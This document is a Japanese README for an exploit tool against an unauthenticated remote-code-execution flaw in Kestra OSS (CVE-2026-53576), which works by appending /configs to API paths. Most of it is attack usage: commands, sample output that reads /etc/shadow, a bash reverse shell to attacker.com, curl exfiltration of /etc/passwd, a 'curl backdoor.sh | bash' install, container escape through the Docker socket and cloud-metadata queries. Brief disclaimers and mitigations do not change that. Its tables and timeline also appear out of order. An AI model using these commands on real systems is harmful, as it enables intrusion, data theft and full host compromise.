
Kestra Unauthenticated RCE Exploit (CVE-2026-53576)
このツールは教育目的および許可を得たセキュリティテスト専用です。
- 所有していない、または明示的な書面によるテスト許可がないシステムに対して使用しないでください。
- 違法行為に使用しないでください。
- 作者は本ツールの誤用について一切責任を負いません。
- ご自身の責任で使用してください。
CVE-2026-53576 は、Kestra OSS バージョン v1.3.20 以前に存在する重大な脆弱性であり、認証フィルタのバイパスにより未認証のリモートコード実行を可能にします。
Kestra の認証フィルタには重大なロジック上の欠陥があります:
// Vulnerable code in AuthenticationFilter.java:53
boolean isConfigEndpoint = request.getPath().endsWith("/configs")
これは、正確なルートに一致させるのではなく、任意の API リクエストが /configs で終わるかどうかをチェックします。これにより、攻撃者は任意のエンドポイントに /configs を追加することで認証をバイパスできます。
POST /api/v1/main/flows/configs (認証をバイパス)POST /api/v1/main/executions/configs/configs (認証をバイパス)# Any path ending in /configs bypasses authentication
/api/v1/main/flows/configs # Create flows
/api/v1/main/executions/configs/configs # Execute flows
/api/v1/{tenant}/flows/configs # Any tenant
/api/v1/{tenant}/executions/configs/configs # Any tenant
python3 kestra_exploit.py <target_ip>
# Custom port
python3 kestra_exploit.py 192.168.1.100 -p 8080
# HTTPS
python3 kestra_exploit.py 192.168.1.100 --https
# Custom command
python3 kestra_exploit.py 192.168.1.100 -c "whoami && hostname"
# Check Docker socket access
python3 kestra_exploit.py 192.168.1.100 --docker-check
# Clean up after exploitation
python3 kestra_exploit.py 192.168.1.100 --cleanup
# Full attack with all options
python3 kestra_exploit.py 192.168.1.100 -p 8080 --docker-check --cleanup -c "id > /tmp/proof.txt"
pip install requests
git clone https://github.com/yourusername/CVE-2026-53576
cd CVE-2026-53576
python3 kestra_exploit.py --help
python3 kestra_exploit.py 192.168.1.100
出力:
============================================================
Kestra Unauthenticated RCE Exploit
Security Research Tool - Authorized Use Only!
============================================================
[*] Target: 192.168.1.100:8080
[*] Protocol: http
============================================================
[Step 1] Creating malicious flow...
[*] Creating malicious flow at http://192.168.1.100:8080/api/v1/main/flows/configs
[*] Command: id > /tmp/proof.txt; cat /etc/shadow | head -1 >> /tmp/proof.txt
[+] Flow created successfully! (Status: 200)
[+] Flow revision: 26
[Step 2] Triggering execution...
[*] Triggering execution at http://192.168.1.100:8080/api/v1/main/executions/configs/configs
[+] Execution triggered successfully!
[+] Execution ID: 4nxNTHPk2WInfrnxQa6KF2
[+] Status: CREATED
[Step 3] Checking execution status...
[+] Execution status: SUCCESS
[*] Final status: SUCCESS
[+] Exploitation complete!
[*] To verify the attack succeeded, check the target system for:
- /tmp/proof.txt containing command output
- Kestra UI execution logs
- Web UI: http://192.168.1.100:8080/ui/
python3 kestra_exploit.py 192.168.1.100 -c "bash -i >& /dev/tcp/10.0.0.1/4444 0>&1"
python3 kestra_exploit.py 192.168.1.100 -c "curl -X POST http://attacker.com/exfil -d @/etc/passwd"
python3 kestra_exploit.py 192.168.1.100 --docker-check --cleanup
未認証の攻撃者は以下が可能です:
任意のコマンドをrootとして実行:
# Read secrets
cat /app/conf/application.yml
# Reverse shell
bash -i >& /dev/tcp/attacker.com/4444 0>&1
# Install malware
curl http://attacker.com/backdoor.sh | bash
ホストシステムへの横展開 (Dockerソケットがマウントされている場合):
docker run -v /:/host --privileged alpine chroot /host
クラウドメタデータへのアクセス (クラウドプロバイダー上の場合):
curl http://169.254.169.254/latest/meta-data/
脆弱なインスタンスを停止:
sudo systemctl stop kestra
パブリックアクセスを遮断:
iptables -A INPUT -p tcp --dport 8080 -j DROP
ファイアウォールルールを適用:
Kestraを最新の修正済みバージョンに更新:
適切な認証を実装:
コンテナの堅牢化:
/var/run/docker.sock をマウントしないネットワークの堅牢化:
| 日付 | 出来事 |
|---|---|
| 2026-05-26 | 脆弱性を発見 |
| 2026-06-03 | Kestraセキュリティアドバイザリ公開 |
| 2026-06-10 | CVE-2026-53576 採番 |
| 2026-06-15 | 公開開示 |
MIT License
Copyright (c) 2026 Security Researcher
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
このツールが役立つと思われた場合:
⚠️ 責任を持って使用してください ⚠️
脆弱性を報告 • セキュリティポリシー • 連絡先
| 属性 | 値 |
|---|
| CVE ID | CVE-2026-53576 |
| 深刻度 | 重大 (9.8 CVSS) |
| 脆弱性の種類 | 認証バイパス + RCE |
| 影響を受ける製品 | Kestra OSS |
| 影響を受けるバージョン | ≤ v1.3.20 |
| 攻撃経路 | ネットワーク |
| 必要な認証 | 不要 |
| ユーザー操作 | 不要 |
| オプション | 説明 |
|---|
target | 対象のIPアドレスまたはホスト名 (必須) |
-p, --port | ポート (デフォルト: 8080) |
--https | HTTPの代わりにHTTPSを使用 |
-c, --command | 実行するカスタムコマンド |
--docker-check | Dockerソケットへのアクセスを確認 |
--cleanup | 悪用後にフローを削除 |
--delay | リクエスト間の遅延 (デフォルト: 2秒) |
| カテゴリ | 深刻度 | 説明 |
|---|
| 機密性 | ⚠️ 重大 | 任意のファイルを読み取る (パスワード、シークレット、設定) |
| 完全性 | ⚠️ 重大 | フローやデータの作成・変更・削除 |
| 可用性 | ⚠️ 高 | システムの停止、リソースの枯渇 |
| 認証 | ⚠️ 重大 | Basic認証の完全なバイパス |
| 権限昇格 | ⚠️ 重大 | root (uid=0) としてコマンド実行 |
| コンテナエスケープ | ⚠️ 重大 | Dockerソケットを介したホストの侵害 |
| 2026-08-01 | PoC 公開 |